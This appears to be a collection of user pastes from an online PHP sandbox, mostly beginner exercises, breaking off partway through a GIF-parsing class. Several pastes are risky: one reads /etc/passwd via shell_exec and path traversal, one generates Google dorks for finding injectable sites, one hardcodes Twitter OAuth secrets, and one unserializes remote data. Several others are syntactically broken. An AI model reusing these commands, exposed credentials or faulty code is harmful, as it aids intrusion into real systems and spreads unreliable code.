<?php $a = "123"; $b = "456"; echo "Hi $a"; echo "\n"; echo 'Hello $b'; ?> <?php echo "====================================\n"; for ($i=1;$i<=5;$i++) { for ($j=$i;$j<$i;$j--) { echo $i; } } ?> <html> <head> <title>Teste NetLex</title> </head> <body> <?php $entrada = fopen("in.txt", "r"); echo wordwrap(fread($entrada,filesize("in.txt")), 15, "<br>"); fclose($entrada); ?> </body> </html> <!DOCTYPE html> <html> <title>Twitter</title> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <style> h1 {color:purple; background-color:pink; text-align:center; } body{background-color:lavender; } #rtweetbadge{background-color:purple;} #favbadge{background-color:turquoise;} </style> <div class="container"> <h1> TWITTER SEARCH</h1> <br> <br> <div class="row"> <div class="col-md-6"> <form action="TweetSearch.php" method="POST"> <div class="group"> <label for ="search"> Search</label> <input type="text" class="form-control" id="search" name="q" placeholder="Please enter something to search!" </div> <div class="row"> <div class="col-md-6"> <label for ="lang"> Language</label> <select class="form-control" id="lang" name="lang"> <option value ="> Any</option> <option value ="en"> English</option> <option value ="zh"> Chinese</option> <option value ="es"> Spanish</option> </select> </div> <div class="col-md-6"> <label for ="type">Result Types</label> <select class="form-control" id="type" name="resulttype"> <option value ="> Any</option> <option value ="popular"> Popular</option> <option value ="recent"> Recent</option> <option value ="mixed"> Mixed</option> </select> </div> </div> <br> <button class="btn btn-default" type="submit" id="submit">Submit</button> </form> </div> <br> <br> <h2>RESULTS</h2> <div class="col-md-6"> <div id="errors"></div> <ul id="output" class ="list-group"></ul> <template id="tweet"> <li class="tweet list-group-item"> <span class="user"> [{user}]</span> <span class="body"> [{tweet}]</span> <span class="retweets badge"> [{retweets}]</span> <span class="favorites badge"> [{favorites}]</span> </li> </template> </div> </div> <?php $q = $_POST["q"]; $resulttype = $_POST["resulttype"]; $lang = $_POST["lang"]; require_once('TwitterAPIExchange.php'); $settings = array( 'oauth_access_token' => " 2247424619-S9shKYaBEsycTWVg0KAMOx1FQeMmBkNy7ON9yZH ", 'oauth_access_token_secret' => "7YRMo9A416r2hlhw5Fkoe3LL39ucXweaPFpqRgNGMvWkc ", 'consumer_key' => "VkILYrQgsS6u5TJPmLBSX2YU7", 'consumer_secret' => "k0Tl13J0xJN04QeShc2w8O5FFsTZnzzzMbZGwE6oxaLkIuDXKx " ); $url = "https://api.twitter.com/1.1/search/tweets.json"; $requestMethod = "GET"; $getfield = "?q=$q&resulttype=$resulttype&lang=$lang"; $twitter = new TwitterAPIExchange($settings); $string = json_decode($twitter ->setGetfield($getfield) ->buildOauth($url, $requestMethod) ->performRequest(),$assoc = TRUE); foreach($string as $testvar) { foreach($testvar as $items) { echo "<img src=". $items['user']['profile_image_url_https']."><br />"; echo "Time and Date of Tweet: ".$items['created_at']."<br />"; echo "Tweet: ". $items['text']."<br />"; echo "Tweeted by: ". $items['user']['name']."<br />"; echo "Screen name: ". $items['user']['screen_name']."<br />"; echo "Followers: ". $items['user']['followers_count']."<br />"; echo "Friends: ". $items['user']['friends_count']."<br />"; echo "Listed: ". $items['user']['listed_count']."<br />"; echo 'Retweeted: <span class="badge" id="rtweetbadge">'. $items['retweet_count'].'</span><br />'; echo 'Favorited: <span class="badge" id="favbadge">'. $items['favorite_count'].'</span><br /><hr />'; } } ?> <?php class TwitterAPIExchange { private $oauth_access_token; private $oauth_access_token_secret; private $consumer_key; private $consumer_secret; private $postfields; private $getfield; protected $oauth; public $url; public function __construct(array $settings) { if (!in_array('curl', get_loaded_extensions())) { throw new Exception('You need to install cURL, see: http://curl.haxx.se/docs/install.html'); } if (!isset($settings['oauth_access_token']) || !isset($settings['oauth_access_token_secret']) || !isset($settings['consumer_key']) || !isset($settings['consumer_secret'])) { throw new Exception('Make sure you are passing in the correct parameters'); } $this->oauth_access_token = $settings['oauth_access_token']; $this->oauth_access_token_secret = $settings['oauth_access_token_secret']; $this->consumer_key = $settings['consumer_key']; $this->consumer_secret = $settings['consumer_secret']; } public function setPostfields(array $array) { if (!is_null($this->getGetfield())) { throw new Exception('You can only choose get OR post fields.'); } if (isset($array['status']) && substr($array['status'], 0, 1) === '@') { $array['status'] = sprintf("\0%s", $array['status']); } $this->postfields = $array; return $this; } public function setGetfield($string) { if (!is_null($this->getPostfields())) { throw new Exception('You can only choose get OR post fields.'); } $search = array('#', ',', '+', ':'); $replace = array('%23', '%2C', '%2B', '%3A'); $string = str_replace($search, $replace, $string); $this->getfield = $string; return $this; } public function getGetfield() { return $this->getfield; } public function getPostfields() { return $this->postfields; } public function buildOauth($url, $requestMethod) { if (!in_array(strtolower($requestMethod), array('post', 'get'))) { throw new Exception('Request method must be either POST or GET'); } $consumer_key = $this->consumer_key; $consumer_secret = $this->consumer_secret; $oauth_access_token = $this->oauth_access_token; $oauth_access_token_secret = $this->oauth_access_token_secret; $oauth = array( 'oauth_consumer_key' => $consumer_key, 'oauth_nonce' => time(), 'oauth_signature_method' => 'HMAC-SHA1', 'oauth_token' => $oauth_access_token, 'oauth_timestamp' => time(), 'oauth_version' => '1.0' ); $getfield = $this->getGetfield(); if (!is_null($getfield)) { $getfields = str_replace('?', '', explode('&', $getfield)); foreach ($getfields as $g) { $split = explode('=', $g); $oauth[$split[0]] = $split[1]; } } $base_info = $this->buildBaseString($url, $requestMethod, $oauth); $composite_key = rawurlencode($consumer_secret) . '&' . rawurlencode($oauth_access_token_secret); $oauth_signature = base64_encode(hash_hmac('sha1', $base_info, $composite_key, true)); $oauth['oauth_signature'] = $oauth_signature; $this->url = $url; $this->oauth = $oauth; return $this; } public function performRequest($return = true) { if (!is_bool($return)) { throw new Exception('performRequest parameter must be true or false'); } $header = array($this->buildAuthorizationHeader($this->oauth), 'Expect:'); $getfield = $this->getGetfield(); $postfields = $this->getPostfields(); $options = array( CURLOPT_HTTPHEADER => $header, CURLOPT_HEADER => false, CURLOPT_URL => $this->url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, ); if (!is_null($postfields)) { $options[CURLOPT_POSTFIELDS] = $postfields; } else { if ($getfield !== '') { $options[CURLOPT_URL] .= $getfield; } } $feed = curl_init(); curl_setopt_array($feed, $options); $json = curl_exec($feed); curl_close($feed); if ($return) { return $json; } } private function buildBaseString($baseURI, $method, $params) { $return = array(); ksort($params); foreach($params as $key=>$value) { $return[] = "$key=" . $value; } return $method . "&" . rawurlencode($baseURI) . '&' . rawurlencode(implode('&', $return)); } private function buildAuthorizationHeader($oauth) { $return = 'Authorization: OAuth '; $values = array(); foreach($oauth as $key => $value) { $values[] = "$key=\" . rawurlencode($value) . "\"; } $return .= implode(', ', $values); return $return; } } </body> </html>

dtdt

<center> <form action=" method="post"> <title>DORKS FELIPE CHEFIA</title> <center><img src="http://s11.postimg.org/5b8afuacj/satanism_baphomet.gif"></center> <center><img src="http://i.imgur.com/bg78CJW.png"></center> <style type="text/css"> <link href='https://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'> body { background-color: black; } h1 { font-family: "Poiret One"; color: white; font-size: 23pt; text-shadow: black 0 0 5px; } p { font-family: "Poiret One"; color: white; font-size: 25pt; text-shadow: black 0 0 5px; } body {cursor: url('http://hellox.persiangig.com/DefacePage/negro.cur'), auto } </style> <body bgcolor="white"> <input type="text" name="quant" maxlength="2" placeholder="Quantidade"><br><br> <input type="submit" name="att" value="FOGO NA BOMBA"> <center><iframe allowfullscreen=" frameborder="0" src="https://www.youtube.com/embed/Ih15m_Mgvko?autoplay=1;autoplay=1&amp;rel=" width="0%"></iframe><center> </form> </center> <?php error_reporting(0); if(isset($_POST['att'])){ $quant = $_POST['quant']; //Palavras Chave $name = array('pagina','index','carrinho','cadastro','login','produto','detalhes','loja','pagamento','pagar','formas-de-pagamento','produtos-detalhes','categoria','colunas','noticias','emprego','galerias','produtos_ver','home','detalhesproduto','viagem','revista','tempo','imoveis','comprar','visualizar','restaurante','roupas','hoteis','exibirmarca','evento_detalhe'); $params = array('id','cat'); for ($i=0; $i < $quant; $i++) { $dork = 'inurl: '.$name[rand(0, count($name))].'.php?'.$params[rand(0, 1)].'='; echo $dork."<br>\n"; } } # FELIPE CHEFIA, RESERVADO!?>

dddd

<html> <head> <title>My Page</title> </head> <body> <form name="myform" action="http://www.mydomain.com/myformhandler.cgi" method="POST"> <div align="center"> <select name="mydropdown"> <option value="Milk">Fresh Milk</option> <option value="Cheese">Old Cheese</option> <option value="Bread">Hot Bread</option> </select> </div> </form> </body> </html>

test

$ip=$_SERVER['REMOTE_ADDR']; echo var_export(unserialize(file_get_contents('http://www.geoplugin.net/php.gp?ip='.$ip)));

php-act-2

<?php $rem; $odd = 'Odd Number'; $even = 'Even Number'; for ($numba = 1; $numba < 11; $numba++) { $rem = $numba % 2; if ($rem == 0) echo $numba . ' ' ."$even \n"; else echo $numba . ' ' ."$odd \n"; } ?>

asda

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php ?>sdsdsdsdsd </body> </html>

asadasda

<?php /* FNG Credit Card Validator v1.1 Copyright © 2009 Fake Name Generator <http://www.fakenamegenerator.com/> FNG Credit Card Validator v1.1 by the Fake Name Generator is licensed to you under a Creative Commons Attribution-Share Alike 3.0 United States License. For full license details, please visit: http://www.fakenamegenerator.com/license.php */ class fngccvalidator{ /** * Validate credit card number and return card type. * Optionally you can validate if it is a specific type. * * @param string $ccnumber * @param string $cardtype * @param string $allowTest * @return mixed */ public function CreditCard($ccnumber, $cardtype = '', $allowTest = false){ // Check for test cc number if($allowTest == false && $ccnumber == '4111111111111111'){ return false; } $ccnumber = preg_replace('/[^0-9]/','',$ccnumber); // Strip non-numeric characters $creditcard = array( 'visa' => "/^4\d{3}-?\d{4}-?\d{4}-?\d{4}$/", 'mastercard' => "/^5[1-5]\d{2}-?\d{4}-?\d{4}-?\d{4}$/", 'discover' => "/^6011-?\d{4}-?\d{4}-?\d{4}$/", 'amex' => "/^3[4,7]\d{13}$/", 'diners' => "/^3[0,6,8]\d{12}$/", 'bankcard' => "/^5610-?\d{4}-?\d{4}-?\d{4}$/", 'jcb' => "/^[3088|3096|3112|3158|3337|3528]\d{12}$/", 'enroute' => "/^[2014|2149]\d{11}$/", 'switch' => "/^[4903|4911|4936|5641|6333|6759|6334|6767]\d{12}$/" ); if(empty($cardtype)){ $match=false; foreach($creditcard as $cardtype=>$pattern){ if(preg_match($pattern,$ccnumber)==1){ $match=true; break; } } if(!$match){ return false; } }elseif(@preg_match($creditcard[strtolower(trim($cardtype))],$ccnumber)==0){ return false; } $return['valid'] = $this->LuhnCheck($ccnumber); $return['ccnum'] = $ccnumber; $return['type'] = $cardtype; return $return; } /** * Do a modulus 10 (Luhn algorithm) check * * @param string $ccnum * @return boolean */ public function LuhnCheck($ccnum){ $checksum = 0; for ($i=(2-(strlen($ccnum) % 2)); $i<=strlen($ccnum); $i+=2){ $checksum += (int)($ccnum{$i-1}); } // Analyze odd digits in even length strings or even digits in odd length strings. for ($i=(strlen($ccnum)% 2) + 1; $i<strlen($ccnum); $i+=2){ $digit = (int)($ccnum{$i-1}) * 2; if ($digit < 10){ $checksum += $digit; }else{ $checksum += ($digit-9); } } if(($checksum % 10) == 0){ return true; }else{ return false; } } } /* Example usage: */ /* // Validate a credit card $fngccvalidator = new fngccvalidator(); print_r($fngccvalidator->CreditCard('5330 4171 3521 4522')); */?>

dddd

<?php /* From http://www.html-form-guide.com This is the simplest emailer one can have in PHP. If this does not work, then the PHP email configuration is bad! */ $msg="; if(isset($_POST['submit'])) { /* ****Important!**** replace name@your-web-site.com below with an email address that belongs to the website where the script is uploaded. For example, if you are uploading this script to www.my-web-site.com, then an email like form@my-web-site.com is good. */ ini_set( 'display_errors', 1 ); error_reporting( E_ALL ); $from_add = "uditkumar2222@gmail.com"; $to_add = "udit@allbatross.com"; //<-- put your yahoo/gmail email address here $subject = "Test Subject"; $message = "Test Message"; $headers = "From: $from_add \r\n"; $headers .= "Reply-To: $from_add \r\n"; $headers .= "Return-Path: $from_add\r\n"; $headers .= "X-Mailer: PHP \r\n"; if(mail($to_add,$subject,$message,$headers)) { $msg = "Mail sent OK"; } else { $msg = "Error sending email!"; } } ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Test form to email</title> </head> <body> <?php echo $msg ?> <p> <form action='<?php echo htmlentities($_SERVER['PHP_SELF']); ?>' method='post'> <input type='submit' name='submit' value='Submit'> </form> </p> </body> </html>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> <iframe width="560" height="315" src="https://www.youtube.com/watch?v=ZtvejSUfDDk&list=PL_2tE-k-afF25t1cD_h3atDfcRQ_C0FQg" frameborder="1"; encrypted-media" allowfullscreen></iframe> </body> </html>

abcd

<?php $id = '307369971'; $email = 'bshs@geyne.cons'; $rand=rand(100,999); $md5=md5($id.'!(&^ 532567_465 ///'.$email); $md53=substr($md5,0,3); $md5_remaining=substr($md5,3); $md5=$md53.$rand.$id.$md5_remaining; echo $md5;

asdd

<?php $a = 5; $b = &$a; $a = 10; echo "a = $a, b = $b\n"; $a = 2; echo "a = $a, b = $b\n"; $b = 3; echo "a = $a, b = $b\n";?>

789341

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <!DOCTYPE html> <html> <body> <?php $favcolor = "red"; switch ($favcolor) { case "red": echo "Your favorite color is red!"; break; case "blue": echo "Your favorite color is blue!"; break; case "green": echo "Your favorite color is green!"; break; default: echo "Your favorite color is neither red, blue, nor green!"; } ?> </body> </html>

Mr_u$er

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo ("hi there") ?> </body> </html>

gfhtyjytjytjy

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php fgtrhjhytj ?> </body> </html>

asdf

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

http://localhost/conn.php

<?php if(isset($_POST['submit'])){ $id = $_POST['roll_no']; $name = $_POST['name']; $gujrati = $_POST['gujrati']; $maths = $_POST['maths']; $environment = $_POST['environment']; $hindi = $_POST['hindi']; $english = $_POST['english']; $science = $_POST['science']; $socialogy = $_POST['socialogy']; $sanskrit = $_POST['sanskrit']; $per_prog = $_POST['per_prog']; $total = $_POST['totalname']; $result = $_POST['result']; $std = $_POST['std']; if(!empty($id)){ $host = 'localhost'; $dbUsername = 'root'; $dbPassword = "; $dbname = 'madni_primary'; $conn = new mysqli($host,$dbUsername,$dbPassword,$dbname); if(mysqli_connect_error()){ die('Connect Error('.mysqli_connect_error().')'.mysqli_connect_error()); } else{ $SELECT = "SELECT name From student Where name = ?"; $INSERT = "INSERT INTO `student`(`id`, `name`, `gujrati`, `maths`, `environment`, `hindi`, `english`, `science`, `socialogy`, `sanskrit`, `per_prog`, `total`, `result`, `std`) VALUES (?,'?',?,?,?,?,?,?,?,?,?,?,?,'?'):; $stmt = $conn->prepare($INSERT); $stmt->bind_param('isiiiiiiiiiiss', $id,$name,$gujrati,$maths,$environment,$hindi, $english,$science,$socialogy,$sanskrit,$per_prog,$total,$result,$std); $stmt->execute(); echo 'Added...'; $stmt->close(); } } } ?>

http://localhost/conn.php

<?php if(isset($_POST['submit'])){ $id = $_POST['roll_no']; $name = $_POST['name']; $gujrati = $_POST['gujrati']; $maths = $_POST['maths']; $environment = $_POST['environment']; $hindi = $_POST['hindi']; $english = $_POST['english']; $science = $_POST['science']; $socialogy = $_POST['socialogy']; $sanskrit = $_POST['sanskrit']; $per_prog = $_POST['per_prog']; $total = $_POST['totalname']; $result = $_POST['result']; $std = $_POST['std']; if(!empty($id)){ $host = 'localhost'; $dbUsername = 'root'; $dbPassword = "; $dbname = 'madni_primary'; $conn = new mysqli($host,$dbUsername,$dbPassword,$dbname); if(mysqli_connect_error()){ die('Connect Error('.mysqli_connect_error().')'.mysqli_connect_error()); } else{ $SELECT = "SELECT name From student Where name = ?"; $INSERT = "INSERT INTO `student`(`id`, `name`, `gujrati`, `maths`, `environment`, `hindi`, `english`, `science`, `socialogy`, `sanskrit`, `per_prog`, `total`, `result`, `std`) VALUES (?,'?',?,?,?,?,?,?,?,?,?,?,?,'?'):; $stmt = $conn->prepare($INSERT); $stmt->bind_param('isiiiiiiiiiiss', $id,$name,$gujrati,$maths,$environment,$hindi, $english,$science,$socialogy,$sanskrit,$per_prog,$total,$result,$std); $stmt->execute(); echo 'Added...'; $stmt->close(); } } } ?>

LIKE

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php class User { public $fname; public $lname; public $email; /* public function __construct($firstname,$lastname,$email){ $this->fname= $firstname; $this->lname= $lastname; $this->email= $email; //var_dump (func_get_args()) ; } */ public function __get($name){ $this->fname = $name; } } // 'ali','motallebi','ali@gmail.com','Tabriz','Iran',array(1,2,3,4,5) $user = new User(); var_dump($user); //var_export($user); //var_dump(array(1,2,3,4,5)); ?>

http://localhost/dbconn.php

<?php if(isset($_POST['submit'])){ $id = $_POST['id']; $name = $_POST['name']; if(!empty(id)){ $host = 'localhost'; $dbUsername = 'root'; $dbPassword = "; $dbname = 'demo'; $conn = new mysqli($host,$dbUsername,$dbPassword,$dbname); if(mysqli_connect_error()){ die('Connect Error('.mysqli_connect_error().')'.mysqli_connect_error()); } else{ $SELECT = "SELECT name From student Where name = ? Limit 1"; $INSERT = "INSERT Into student (id,name) values (?,?)"; $stmt = $conn->prepare($SELECT); $stmt->bind_param('s',$name); $stmt->execute(); $stmt->bind_result($name); $stmt->store_result(); $rnum = $stmt->rows; if(rnum == 0){ $stmt->close(); $stmt = $conn->prepare($INSERT); $stmt->bind_param("is", $id, $name); $stmt->execute(); echo "Added...."; } $stmt->close(); $stmt->close(); } } } ?>

My PHP OOP Build

<<?php //Your practice code Class user{ public $firstName; public $lastName; public function hello(){ return "hello"; } } $user1 = new user();//object of the class //set properties $user1 ->firstName ='Oluwasogo'; $user1 ->lastName='Faloye'; //new object of the class $user2 = new user(); $user2 ->firstName='Adeife'; $user2->lastName='Faderera'; //get properties echo $user1->hello().', '.$user1->firstName.' '.$user1->lastName; echo '/n'; echo $user2->hello().', '.$user2->firstName.' '.$user2->lastName; ?>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $output = shell_exec('cat ../../../../etc/passwd'); echo "<pre>$output</pre>"; ?> </body> </html>

1234

<?php $colors = array("red", "green", "blue", "yellow"); foreach ($colors as $megha) { echo "$megha <br>"; } ?>

Webmentors

<?php include_once "header.php"?> <div class="ample-header"> <div class="ample-logo"></div> <div class="ample-search"> <div class="search-icon"> <i class="fas fa-search"></i> </div> <input type="text" placeholder="Search by Title , Author , ISBN"> </div> <div class="ample-login"> <button>Sign Up</button> <label>Sign In</label> </div> <div class="menu-bar"> <i class="fas fa-bars fa-2x"></i> </div> </div> <div class="ample-menu"> <ul> <li><a href="#">Browse Category</a><i class="fa fa-angle-down"></i></li> <li><a href="#">Fiction</a></li> <li><a href="#">Non Fiction</a></li> <li><a href="#">Most Popular Books</a></li> <li><a href="#">New Release</a> </li> <li><a href="#">Create an e-Book</a></li> <li><a href="#">Publish an e-book</a></li> </ul> </div> <div class="ample-sub-menu"> <div class="ample-sub-menu-left"></div> <divc class="ample-sub-menu-right"></divc> </div> <div class="ample-slider"> <div id="myCarousel" class="carousel slide" data-ride="carousel"> <!-- Indicators --> <ol class="carousel-indicators"> <li data-target="#myCarousel" data-slide-to="0" class="active"></li> <li data-target="#myCarousel" data-slide-to="1"></li> <li data-target="#myCarousel" data-slide-to="2"></li> </ol> <!-- Wrapper for slides --> <div class="carousel-inner"> <div class="item active"> <img src="https://www.w3schools.com/bootstrap/ny.jpg" alt="Los Angeles" style="width:100%;"> </div> <div class="item"> <img src="https://www.w3schools.com/bootstrap/ny.jpg" alt="Chicago" style="width:100%;"> </div> <div class="item"> <img src="https://www.w3schools.com/bootstrap/ny.jpg" alt="New york" style="width:100%;"> </div> </div> <!-- Left and right controls --> <a class="left carousel-control" href="#myCarousel" data-slide="prev"> <span class="glyphicon glyphicon-chevron-left"></span> <span class="sr-only">Previous</span> </a> <a class="right carousel-control" href="#myCarousel" data-slide="next"> <span class="glyphicon glyphicon-chevron-right"></span> <span class="sr-only">Next</span> </a> </div> </div> <div class="ample-book-slot-1"> <div class="slot-1"></div> <div class="slot-2"></div> <div class="slot-3"></div> </div> <div class="ample-book-slot-2"> <div class="slot-1"></div> <div class="slot-2"></div> </div> <?php include_once "footer.php"?>

342432423

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

kiuy

<?php $links = array( 1 =>array(5), 2 =>array(4,7,8), 3 =>array(1,3,4,7,9), 4 =>array(1,2,4,8), 5 =>array(1,6,7,9), 6 =>array(8,5,1), 7 =>array(1), 8 =>array(3,4), 9 =>array(1,4,6,8), ); //initilize $page_rank = array(); $temp_rank = array(); foreach($links as $node => $outbond) { $page_rank [$node] = 1/count($links); $temp_rank [$node] = 0; } //distribute the pr for each page foreach($links as $node => $outbond) { $outbound_count = count($outbond); foreach($outbond as $links) $temp_rank [$links] += $page_rank [$links]/$outbound_count; } foreach($page_rank as $a) echo "$a </br>"; foreach($temp_rank as $a) echo "$a </br>"; ?>

https://gastropubliko.000webhostapp.com/

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

while loop

<?php /* Write your PHP code here */ $x=0; while($x<=7){ $x++; } echo $x;?>

deepankar

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

project

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

<?php namespace GifFrameExtractor; /** * Extract the frames (and their duration) of a GIF * * @version 1.5 * @link https://github.com/Sybio/GifFrameExtractor * @author Sybio (Clément Guillemain / @Sybio01) * @license http://opensource.org/licenses/gpl-license.php GNU Public License * @copyright Clément Guillemain */ class GifFrameExtractor { // Properties // =================================================================================== /** * @var resource */ private $gif; /** * @var array */ private $frames; /** * @var array */ private $frameDurations; /** * @var array */ private $frameImages; /** * @var array */ private $framePositions; /** * @var array */ private $frameDimensions; /** * @var integer * * (old: $this->index) */ private $frameNumber; /** * @var array * * (old: $this->imagedata) */ private $frameSources; /** * @var array * * (old: $this->fileHeader) */ private $fileHeader; /** * @var integer The reader pointer in the file source * * (old: $this->pointer) */ private $pointer; /** * @var integer */ private $gifMaxWidth; /** * @var integer */ private $gifMaxHeight; /** * @var integer */ private $totalDuration; /** * @var integer */ private $handle; /** * @var array * * (old: globaldata) */ private $globaldata; /** * @var array * * (old: orgvars) */ private $orgvars; // Methods // =================================================================================== /** * Extract frames of a GIF * * @param string $filename GIF filename path * @param boolean $originalFrames Get original frames (with transparent background) * * @return array */ public function extract($filename, $originalFrames = false) { if (!self::isAnimatedGif($filename)) { throw new \Exception('The GIF image you are trying to explode is not animated !'); } $this->reset(); $this->parseFramesInfo($filename); $prevImg = null; for ($i = 0; $i < count($this->frameSources); $i++) { $this->frames[$i] = array(); $this->frameDurations[$i] = $this->frames[$i]['duration'] = $this->frameSources[$i]['delay_time']; $img = imagecreatefromstring($this->fileHeader["gifheader"].$this->frameSources[$i]["graphicsextension"].$this->frameSources[$i]["imagedata"].chr(0x3b)); if (!$originalFrames) { if ($i > 0) { $prevImg = $this->frames[$i - 1]['image']; } else { $prevImg = $img; } $sprite = imagecreate($this->gifMaxWidth, $this->gifMaxHeight); imagesavealpha($sprite, true); $transparent = imagecolortransparent($prevImg); if ($transparent > -1 && imagecolorstotal($prevImg) > $transparent) { $actualTrans = imagecolorsforindex($prevImg, $transparent); imagecolortransparent($sprite, imagecolorallocate($sprite, $actualTrans['red'], $actualTrans['green'], $actualTrans['blue'])); } if ((int) $this->frameSources[$i]['disposal_method'] == 1 && $i > 0) { imagecopy($sprite, $prevImg, 0, 0, 0, 0, $this->gifMaxWidth, $this->gifMaxHeight); } imagecopyresampled($sprite, $img, $this->frameSources[$i]["offset_left"], $this->frameSources[$i]["offset_top"], 0, 0, $this->gifMaxWidth, $this->gifMaxHeight, $this->gifMaxWidth, $this->gifMaxHeight); $img = $sprite; } $this->frameImages[$i] = $this->frames[$i]['image'] = $img; } return $this->frames; } /** * Check if a GIF file at a path is animated or not * * @param string $filename GIF path */ public static function isAnimatedGif($filename) { if (!($fh = @fopen($filename, 'rb'))) { return false; } $count = 0; while (!feof($fh) && $count < 2) { $chunk = fread($fh, 1024 * 100); //read 100kb at a time $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches); } fclose($fh); return $count > 1; } // Internals // =================================================================================== /** * Parse the frame informations contained in the GIF file * * @param string $filename GIF filename path */ private function parseFramesInfo($filename) { $this->openFile($filename); $this->parseGifHeader(); $this->parseGraphicsExtension(0); $this->getApplicationData(); $this->getApplicationData(); $this->getFrameString(0); $this->parseGraphicsExtension(1); $this->getCommentData(); $this->getApplicationData(); $this->getFrameString(1); while (!$this->checkByte(0x3b) && !$this->checkEOF()) { $this->getCommentData(1); $this->parseGraphicsExtension(2); $this->getFrameString(2); $this->getApplicationData(); } } /** * Parse the gif header (old: get_gif_header) */ private function parseGifHeader() { $this->pointerForward(10); if ($this->readBits(($mybyte = $this->readByteInt()), 0, 1) == 1) { $this->pointerForward(2); $this->pointerForward(pow(2, $this->readBits($mybyte, 5, 3) + 1) * 3); } else { $this->pointerForward(2); } $this->fileHeader["gifheader"] = $this->dataPart(0, $this->pointer); // Decoding $this->orgvars["gifheader"] = $this->fileHeader["gifheader"]; $this->orgvars["background_color"] = $this->orgvars["gifheader"][11]; } /** * Parse the application data of the frames (old: get_application_data) */ private function getApplicationData() { $startdata = $this->readByte(2); if ($startdata == chr(0x21).chr(0xff)) { $start = $this->pointer - 2; $this->pointerForward($this->readByteInt()); $this->readDataStream($this->readByteInt()); $this->fileHeader["applicationdata"] = $this->dataPart($start, $this->pointer - $start); } else { $this->pointerRewind(2); } } /** * Parse the comment data of the frames (old: get_comment_data) */ private function getCommentData() { $startdata = $this->readByte(2); if ($startdata == chr(0x21).chr(0xfe)) { $start = $this->pointer - 2; $this->readDataStream($this->readByteInt()); $this->fileHeader["commentdata"] = $this->dataPart($start, $this->pointer - $start); } else { $this->pointerRewind(2); } } /** * Parse the graphic extension of the frames (old: get_graphics_extension) * * @param integer $type */ private function parseGraphicsExtension($type) { $startdata = $this->readByte(2); if ($startdata == chr(0x21).chr(0xf9)) { $start = $this->pointer - 2; $this->pointerForward($this->readByteInt()); $this->pointerForward(1); if ($type == 2) { $this->frameSources[$this->frameNumber]["graphicsextension"] = $this->dataPart($start, $this->pointer - $start); } elseif ($type == 1) { $this->orgvars["hasgx_type_1"] = 1; $this->globaldata["graphicsextension"] = $this->dataPart($start, $this->pointer - $start); } elseif ($type == 0) { $this->orgvars["hasgx_type_0"] = 1; $this->globaldata["graphicsextension_0"] = $this->dataPart($start, $this->pointer - $start); } } else { $this->pointerRewind(2); } } /** * Get the full frame string block (old: get_image_block) * * @param integer $type */ private function getFrameString($type) { if ($this->checkByte(0x2c)) { $start = $this->pointer; $this->pointerForward(9); if ($this->readBits(($mybyte = $this->readByteInt()), 0, 1) == 1) { $this->pointerForward(pow(2, $this->readBits($mybyte, 5, 3) + 1) * 3); } $this->pointerForward(1); $this->readDataStream($this->readByteInt()); $this->frameSources[$this->frameNumber]["imagedata"] = $this->dataPart($start, $this->pointer - $start); if ($type == 0) { $this->orgvars["hasgx_type_0"] = 0; if (isset($this->globaldata["graphicsextension_0"])) { $this->frameSources[$this->frameNumber]["graphicsextension"] = $this->globaldata["graphicsextension_0"]; } else { $this->frameSources[$this->frameNumber]["graphicsextension"] = null; } unset($this->globaldata["graphicsextension_0"]); } elseif ($type == 1) { if (isset($this->orgvars["hasgx_type_1"]) && $this->orgvars["hasgx_type_1"] == 1) { $this->orgvars["hasgx_type_1"] = 0; $this->frameSources[$this->frameNumber]["graphicsextension"] = $this->globaldata["graphicsextension"]; unset($this->globaldata["graphicsextension"]); } else { $this->orgvars["hasgx_type_0"] = 0; $this->frameSources[$this->frameNumber]["graphicsextension"] = $this->globaldata["graphicsextension_0"]; unset($this->globaldata["graphicsextension_0"]); } } $this->parseFrameData(); $this->frameNumber++; } } /** * Parse frame data string into an array (old: parse_image_data) */ private function parseFrameData() { $this->frameSources[$this->frameNumber]["disposal_method"] = $this->getImageDataBit("ext", 3, 3, 3); $this->frameSources[$this->frameNumber]["user_input_flag"] = $this->getImageDataBit("ext", 3, 6, 1); $this->frameSources[$this->frameNumber]["transparent_color_flag"] = $this->getImageDataBit("ext", 3, 7, 1); $this->frameSources[$this->frameNumber]["delay_time"] = $this->dualByteVal($this->getImageDataByte("ext", 4, 2)); $this->totalDuration += (int) $this->frameSources[$this->frameNumber]["delay_time"]; $this->frameSources[$this->frameNumber]["transparent_color_index"] = ord($this->getImageDataByte("ext", 6, 1)); $this->frameSources[$this->frameNumber]["offset_left"] = $this->dualByteVal($this->getImageDataByte("dat", 1, 2)); $this->frameSources[$this->frameNumber]["offset_top"] = $this->dualByteVal($this->getImageDataByte("dat", 3, 2)); $this->frameSources[$this->frameNumber]["width"] = 